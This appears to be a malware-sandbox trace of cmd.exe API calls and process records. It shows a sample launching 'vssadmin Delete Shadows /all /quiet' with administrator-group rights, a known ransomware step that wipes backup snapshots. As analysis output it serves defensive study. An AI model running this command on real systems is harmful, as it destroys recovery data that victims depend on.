	[0057.271] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0057.272] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0057.272] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0057.272] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0057.272] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0057.272] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0057.272] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0057.272] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0057.272] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0057.272] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0057.272] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0057.273] GetProcessHeap () returned 0x3120000
	[0057.273] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x0, Size=0x20c) returned 0x31277d0
	[0057.274] GetConsoleTitleW (in: lpConsoleTitle=0x31277d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0057.274] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0057.274] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0057.274] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0057.274] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0057.274] ??_V@YAXPAX@Z () returned 0x1
	[0057.275] GetProcessHeap () returned 0x3120000
	[0057.275] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x400a) returned 0x3128d08
	[0057.275] GetProcessHeap () returned 0x3120000
	[0057.275] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x3128d08) returned 1
	[0057.275] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0057.275] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0057.275] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0057.275] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0057.275] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0057.275] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0057.275] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0057.275] GetProcessHeap () returned 0x3120000
	[0057.275] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x58) returned 0x31279e8
	[0057.275] GetProcessHeap () returned 0x3120000
	[0057.275] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x1a) returned 0x3127a48
	[0057.276] GetProcessHeap () returned 0x3120000
	[0057.276] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x40) returned 0x3127a70
	[0057.277] GetConsoleTitleW (in: lpConsoleTitle=0x30ffbe8, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0057.277] malloc (_Size=0xffce) returned 0x3422620
	[0057.277] ??_V@YAXPAX@Z () returned 0x30ff974
	[0057.278] malloc (_Size=0xffce) returned 0x34325f8
	[0057.278] ??_V@YAXPAX@Z () returned 0x30ff72c
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0057.279] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0057.280] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0057.281] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0057.281] ??_V@YAXPAX@Z () returned 0x1
	[0057.281] GetProcessHeap () returned 0x3120000
	[0057.281] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xffd6) returned 0x3128d08
	[0057.282] GetProcessHeap () returned 0x3120000
	[0057.282] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x52) returned 0x3127ab8
	[0057.282] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0057.282] malloc (_Size=0xffce) returned 0x34325f8
	[0057.282] ??_V@YAXPAX@Z () returned 0x30ff4ac
	[0057.283] GetProcessHeap () returned 0x3120000
	[0057.283] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x1ffa4) returned 0x3138ce8
	[0057.284] SetErrorMode (uMode=0x0) returned 0x0
	[0057.285] SetErrorMode (uMode=0x1) returned 0x0
	[0057.285] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x3138cf0, lpFilePart=0x30ff4cc | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x30ff4cc*="Desktop") returned 0x17
	[0057.285] SetErrorMode (uMode=0x0) returned 0x1
	[0057.285] GetProcessHeap () returned 0x3120000
	[0057.285] RtlReAllocateHeap (Heap=0x3120000, Flags=0x0, Ptr=0x3138ce8, Size=0x4a) returned 0x3138ce8
	[0057.285] GetProcessHeap () returned 0x3120000
	[0057.285] RtlSizeHeap (HeapHandle=0x3120000, Flags=0x0, MemoryPointer=0x3138ce8) returned 0x4a
	[0057.285] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0057.285] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0057.286] GetProcessHeap () returned 0x3120000
	[0057.286] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x1b4) returned 0x3127b18
	[0057.286] GetProcessHeap () returned 0x3120000
	[0057.286] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x360) returned 0x3127cd8
	[0057.334] GetProcessHeap () returned 0x3120000
	[0057.334] RtlReAllocateHeap (Heap=0x3120000, Flags=0x0, Ptr=0x3127cd8, Size=0x1b6) returned 0x3127cd8
	[0057.336] GetProcessHeap () returned 0x3120000
	[0057.336] RtlSizeHeap (HeapHandle=0x3120000, Flags=0x0, MemoryPointer=0x3127cd8) returned 0x1b6
	[0057.336] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0057.336] GetProcessHeap () returned 0x3120000
	[0057.336] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xe0) returned 0x3127e98
	[0057.337] GetProcessHeap () returned 0x3120000
	[0057.337] RtlReAllocateHeap (Heap=0x3120000, Flags=0x0, Ptr=0x3127e98, Size=0x76) returned 0x3127e98
	[0057.337] GetProcessHeap () returned 0x3120000
	[0057.337] RtlSizeHeap (HeapHandle=0x3120000, Flags=0x0, MemoryPointer=0x3127e98) returned 0x76
	[0057.337] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0057.338] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x30ff258, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ff258) returned 0xffffffff
	[0057.338] GetLastError () returned 0x2
	[0057.338] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0057.338] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x30ff258, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ff258) returned 0xffffffff
	[0057.341] GetLastError () returned 0x2
	[0057.341] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0057.341] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x30ff258, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ff258) returned 0x3127f18
	[0057.341] GetProcessHeap () returned 0x3120000
	[0057.341] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x0, Size=0x14) returned 0x3127f58
	[0057.341] FindClose (in: hFindFile=0x3127f18 | out: hFindFile=0x3127f18) returned 1
	[0057.341] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x30ff258, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ff258) returned 0xffffffff
	[0057.341] GetLastError () returned 0x2
	[0057.341] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x30ff258, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ff258) returned 0x3127f18
	[0057.341] GetProcessHeap () returned 0x3120000
	[0057.341] RtlReAllocateHeap (Heap=0x3120000, Flags=0x0, Ptr=0x3127f58, Size=0x4) returned 0x3127f58
	[0057.341] FindClose (in: hFindFile=0x3127f18 | out: hFindFile=0x3127f18) returned 1
	[0057.342] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0057.342] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0057.342] ??_V@YAXPAX@Z () returned 0x1
	[0057.342] GetConsoleTitleW (in: lpConsoleTitle=0x30ff75c, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0057.355] InitializeProcThreadAttributeList (in: lpAttributeList=0x30ff688, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x30ff674 | out: lpAttributeList=0x30ff688, lpSize=0x30ff674) returned 1
	[0057.355] UpdateProcThreadAttribute (in: lpAttributeList=0x30ff688, dwFlags=0x0, Attribute=0x60001, lpValue=0x30ff670, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x30ff688, lpPreviousValue=0x0) returned 1
	[0057.355] GetStartupInfoW (in: lpStartupInfo=0x30ff6c0 | out: lpStartupInfo=0x30ff6c0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0057.355] GetProcessHeap () returned 0x3120000
	[0057.355] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0x18) returned 0x3127f18
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0057.355] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0057.356] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0057.356] GetProcessHeap () returned 0x3120000
	[0057.356] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x3127f18) returned 1
	[0057.356] GetProcessHeap () returned 0x3120000
	[0057.356] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xa) returned 0x3127f18
	[0057.356] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0057.357] _get_osfhandle (_FileHandle=1) returned 0x90
	[0057.357] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0057.369] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0057.369] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0057.375] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x30ff610*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  Delete Shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30ff65c | out: lpCommandLine="vssadmin  Delete Shadows /all /quiet", lpProcessInformation=0x30ff65c*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x58, dwThreadId=0x29c)) returned 1
	[0057.549] CloseHandle (hObject=0xdc) returned 1
	[0057.549] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0057.549] GetProcessHeap () returned 0x3120000
	[0057.549] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x3126c00) returned 1
	[0057.549] GetEnvironmentStringsW () returned 0x3126c00*
	[0057.549] GetProcessHeap () returned 0x3120000
	[0057.549] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xb1a) returned 0x3124b78
	[0057.549] FreeEnvironmentStringsA (penv="=") returned 1
	[0057.549] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0059.418] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x30ff5f4 | out: lpExitCode=0x30ff5f4*=0x2) returned 1
	[0059.418] CloseHandle (hObject=0xe0) returned 1
	[0059.418] _vsnwprintf (in: _Buffer=0x30ff6dc, _BufferCount=0x13, _Format="%08X", _ArgList=0x30ff5fc | out: _Buffer="00000002") returned 8
	[0059.418] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0059.419] GetProcessHeap () returned 0x3120000
	[0059.419] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x3124b78) returned 1
	[0059.419] GetEnvironmentStringsW () returned 0x3124b78*
	[0059.420] GetProcessHeap () returned 0x3120000
	[0059.420] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xb40) returned 0x3139888
	[0059.420] FreeEnvironmentStringsA (penv="=") returned 1
	[0059.420] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0059.420] GetProcessHeap () returned 0x3120000
	[0059.420] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x3139888) returned 1
	[0059.420] GetEnvironmentStringsW () returned 0x3124b78*
	[0059.420] GetProcessHeap () returned 0x3120000
	[0059.420] RtlAllocateHeap (HeapHandle=0x3120000, Flags=0x8, Size=0xb40) returned 0x3139888
	[0059.420] FreeEnvironmentStringsA (penv="=") returned 1
	[0059.420] GetProcessHeap () returned 0x3120000
	[0059.420] RtlFreeHeap (HeapHandle=0x3120000, Flags=0x0, BaseAddress=0x3127f18) returned 1
	[0059.420] DeleteProcThreadAttributeList (in: lpAttributeList=0x30ff688 | out: lpAttributeList=0x30ff688) 
	[0059.420] ??_V@YAXPAX@Z () returned 0x1
	[0059.420] _get_osfhandle (_FileHandle=1) returned 0x90
	[0059.420] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0059.428] _get_osfhandle (_FileHandle=1) returned 0x90
	[0059.428] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0059.477] _get_osfhandle (_FileHandle=1) returned 0x90
	[0059.477] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0059.483] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0059.483] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0059.715] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0059.715] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0059.730] SetConsoleInputExeNameW () returned 0x1
	[0059.730] GetConsoleOutputCP () returned 0x1b5
	[0059.746] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0059.746] SetThreadUILanguage (LangId=0x0) returned 0x2ea0409
	[0059.756] exit (_Code=2) 
	[0059.756] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 7
	os_tid = 0x378


Process:
	id = "3"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x19afa000"
	os_pid = "0x116c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x114c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 4
	os_tid = 0x1164


Thread:
	id = 5
	os_tid = 0x10ec


Thread:
	id = 6
	os_tid = 0x1264


Process:
	id = "4"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0xeaca000"
	os_pid = "0x58"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x114c"
	cmd_line = "vssadmin  Delete Shadows /all /quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
